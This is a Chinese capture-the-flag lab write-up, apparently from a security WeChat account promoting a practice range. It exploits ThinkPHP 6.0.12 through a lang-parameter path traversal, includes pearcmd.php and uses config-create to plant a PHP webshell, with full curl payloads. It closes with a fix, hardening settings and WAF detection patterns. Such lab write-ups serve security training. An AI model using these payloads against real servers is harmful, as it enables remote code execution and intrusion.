关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=515
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
前置知识
利用点ThinkPHP V6.0.12 LTS 多语言模块 LFI + Pearcmd RCE
1. 文件包含漏洞(LFI - Local File Inclusion)
- PHP
include/require函数可以包含并执行指定的 PHP 文件 - 当用户可控的参数被传入包含函数且未做充分过滤时,可造成任意文件包含
- 即使包含非 PHP 文件,也可能通过特殊技巧实现代码执行
2. ThinkPHP 多语言模块特性
- ThinkPHP 6.x 的多语言功能允许动态加载语言包文件
lang参数用于指定语言文件路径- 路径过滤不当可能导致目录穿越
3. PEAR(PHP Extension and Application Repository)
- PHP 的包管理系统,类似于 Python 的 pip
pearcmd.php是 PEAR 的命令行接口文件- 该文件在 Web 环境下会解析
$_GET参数构建$_SERVER['argv']数组 - 常见路径:
/usr/local/lib/php/pearcmd.php或/usr/share/php/pearcmd.php
4. PEAR config-create 命令
- 用于创建 PEAR 配置文件
- 语法:
pear config-create <root-path> <filename> - 第一个参数(root-path)会被写入配置文件内容中
- 可以利用此特性在 root-path 中注入 PHP 代码
靶场考点/漏洞原理
漏洞链条
ThinkPHP 多语言模块路径穿越漏洞
- ThinkPHP 6.0.x 版本在处理
lang参数时存在路径穿越过滤不完善 - 使用
..././可以绕过某些过滤规则(过滤../后仍然剩余../) - 成功包含系统中的任意 PHP 文件
- ThinkPHP 6.0.x 版本在处理
pearcmd.php 参数注入
pearcmd.php在 Web 环境下的特殊行为:
1// pearcmd.php 会将 URL 参数解析为命令行参数 2// ?param1=value1¶m2=value2 3// 转换为 argv[1]=param1, argv[2]=value1, argv[3]=param2, argv[4]=value2- 通过 GET 参数构造 PEAR 命令的参数
config-create 命令写文件
config-create命令会创建 PEAR 配置文件- 第一个参数(root-path)会原样写入文件内容中
- 在 root-path 中注入 PHP 代码,写入 webshell
漏洞原理图解
用户请求
↓
ThinkPHP lang 参数处理
↓
路径穿越绕过(..././)
↓
包含 /usr/local/lib/php/pearcmd.php
↓
pearcmd.php 解析 GET 参数为 argv
↓
执行 config-create 命令
↓
将包含 PHP 代码的 root-path 写入文件
↓
访问生成的文件,执行 PHP 代码
↓
RCE (Remote Code Execution)
解题思路
第一步:发现入口点(如何测试到 LFI)
这是关键问题:如何发现 lang 参数存在 LFI 漏洞?
方法 1:黑盒测试常见参数
CTF 中常见的可能存在文件包含的参数名:
1# 测试常见文件包含参数
2?file=
3?page=
4?path=
5?include=
6?lang= # ← ThinkPHP 多语言功能
7?template=
8?view=
9?module=

这里的Cookie的参数也提示了参数名是lang
方法 2:框架指纹识别
1# 1. 访问首页,查看源码
2curl http://target.com/
3
4# 输出通常包含 ThinkPHP 版本信息:
5# "ThinkPHP V6.0.12LTS"
6
7# 2. 查找已知漏洞
8# ThinkPHP 6.0.x 多语言模块已知存在 LFI 漏洞
9# CVE 或公开 POC 中会提到 lang 参数
10
11# 3. 测试验证
12curl "http://target.com/public/index.php?lang=../../../../etc/passwd"
使用ThinkPHP V6.0.12LTS+github poc 这样的搜索关键词,就可以搜索到相关的漏洞。

这篇和靶场一模一样
https://www.freebuf.com/articles/web/352154.html
还有github上另一篇 https://github.com/atk7r/ThinkPHP-RCE-Poc

这里也验证了方法1的方式
第二步:验证 LFI 可用性

参考文章验证 pearcmd.php
1# 尝试包含 pearcmd.php(需要多次尝试找到正确路径深度)
2curl "http://dtljxzl.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd"
3
4# 成功标志:看到 PEAR 相关错误信息或警告
5# Warning: array_map(): Expected parameter 2 to be an array...

第三步:利用 pearcmd.php 实现 RCE
3.1 理解 pearcmd.php 的参数解析机制
关键点:URL 中的 GET 参数会被解析为 argv 数组
URL: ?lang=xxx&a=b&c=d
解析为:
argv[0] = "pearcmd.php"
argv[1] = "a" # 参数名
argv[2] = "b" # 参数值
argv[3] = "c" # 参数名
argv[4] = "d" # 参数值
config-create 命令需要:
argv[1] = "config-create" # 命令名
argv[2] = "<root-path>" # 第一个参数(会写入文件)
argv[3] = "<filename>" # 第二个参数(目标文件路径)
3.3 构造正确的参数结构
使用 &+param+ 格式:
1&+config-create+<root-path>+<filename>
分解说明:
&+- 空参数名(GET 参数名为空)config-create- 作为 argv[1]+- 空格分隔符<root-path>- 作为 argv[2],这里注入 PHP 代码+- 空格分隔符<filename>- 作为 argv[3],目标文件路径
3.4 注入 PHP 代码
尝试写入一个常见的ls命令观察执行结果
1curl "http://dtljxzl.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/\<?=\`ls\`?>/+/var/www/html/cmd.php"

命令执行成功,有搞头。然后创建通用命令执行 webshell
1curl --globoff 'http://iyb777v.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=`$_GET[x]`?>/+/var/www/html/s.php'

payload 解析:
<?=:PHP 短标签(等同于<?php echo)`:反引号,执行 shell 命令$_GET[x]:从 URL 参数 x 获取要执行的命令?>:PHP 结束标签
注意事项:
- 使用
--globoff禁用 curl 的 URL 通配符解析(避免[]被误解析) - PHP 代码会被写入 PEAR 配置文件的路径字段中
第四步:执行命令获取 Flag
1# 方式 1:尝试常见 flag 位置
2curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/flag"
3curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/tmp/flag.txt"
4curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/var/www/flag"
5
6# 方式 2:搜索 flag 文件
7curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=find+/+-name+flag*"
8
9# 方式 3:查看环境变量
10curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=env"
11
12# 方式 4:列出目录查找线索
13curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=ls+/"
14curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=ls+/tmp"

本题答案:
1curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/tmp/flag.txt"

关键技术细节
1. 路径穿越的层数
ThinkPHP 不同版本和配置可能需要不同的 ../ 层数:
1# 尝试不同深度
2../../../
3../../../../../../../../
4..././../.../ # ThinkPHP 特殊绕过
2. curl 命令的陷阱
问题 1:方括号被解析为范围
1# 错误
2curl 'http://example.com/?x=$_GET[x]'
3# curl: (3) bad range in URL position...
4
5# 解决
6curl --globoff 'http://example.com/?x=$_GET[x]'
问题 2:URL 中的特殊字符
1# 使用单引号包裹 URL,避免 shell 解释 $ 等字符
2curl 'http://...'
3
4# 或使用 URL 编码
5# [ → %5B
6# ] → %5D
7# $ → %24
3. PHP 短标签
1<?= expression ?> # 等同于 <?php echo expression; ?>
2<?php expression; ?> # 完整标签(更兼容)
如果短标签不可用,改用完整标签:
1curl --globoff '...&+config-create+/<?php system($_GET[x]);?>/+...'
漏洞修复/规避方法
1. ThinkPHP 框架层面
修复路径穿越漏洞
1// 不安全的代码
2$lang = $_GET['lang'];
3include "/path/to/lang/{$lang}.php";
4
5// 安全修复
6$lang = $_GET['lang'];
7// 1. 白名单验证
8$allowed = ['zh-cn', 'en-us', 'ja'];
9if (!in_array($lang, $allowed)) {
10 die('Invalid language');
11}
12
13// 2. 移除所有目录穿越字符
14$lang = str_replace(['../', '.\\', '..\\'], '', $lang);
15$lang = basename($lang); // 只保留文件名
16
17// 3. 限制在指定目录
18$lang_file = realpath("/path/to/lang/{$lang}.php");
19if (strpos($lang_file, '/path/to/lang/') !== 0) {
20 die('Path traversal detected');
21}
2. 服务器配置层面
禁用不必要的文件
1# 删除或移动 pearcmd.php(如果不需要 PEAR)
2rm /usr/local/lib/php/pearcmd.php
3
4# 或限制访问权限
5chmod 600 /usr/local/lib/php/pearcmd.php
PHP 配置加固
1; php.ini
2open_basedir = /var/www/html:/tmp ; 限制可访问路径
3disable_functions = system,exec,passthru,shell_exec,popen,proc_open ; 禁用危险函数
4allow_url_include = Off ; 禁止包含远程文件
3. Web 应用防火墙(WAF)规则
# 检测路径穿越特征
.*\.\./.*
.*\.\.\\.*
.*%2e%2e%2f.*
.*%2e%2e%5c.*
# 检测常见敏感文件包含
.*/etc/passwd.*
.*/usr/local/lib/php/pearcmd.*
.*pearcmd.*
# 检测 PHP 代码注入特征
.*<\?php.*
.*<\?=.*
.*`.*\$_GET.*
4. 代码审计要点
在审计 ThinkPHP 或其他框架时,重点关注:
1// 危险函数
2include()
3require()
4include_once()
5require_once()
6file_get_contents()
7readfile()
8fopen()
9
10// 用户可控参数
11$_GET
12$_POST
13$_REQUEST
14$_COOKIE
5. 安全开发建议
- 最小权限原则:Web 应用运行用户不应有写入敏感目录的权限
- 输入验证:对所有用户输入进行严格的白名单验证
- 路径规范化:使用
realpath()获取真实路径后再验证 - 框架更新:及时更新到最新版本,修复已知漏洞
- 安全配置:按照官方安全加固指南配置框架和服务器
总结
本题综合考察了:
- ThinkPHP 框架漏洞利用:多语言模块的路径穿越
- 文件包含漏洞利用:从 LFI 到 RCE 的进阶利用
- PEAR 机制理解:pearcmd.php 的特殊行为
- 参数构造技巧:如何通过 URL 参数控制命令行参数
- 工具使用细节:curl 命令的各种陷阱和解决方案
核心利用链:ThinkPHP LFI → 包含 pearcmd.php → 参数注入 config-create → 写入 webshell → RCE
这类漏洞的发现往往需要:
- 对目标框架的深入了解
- 对常见漏洞模式的敏感度
- 不断的测试和尝试
- 查阅公开资料和 CVE 数据库
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


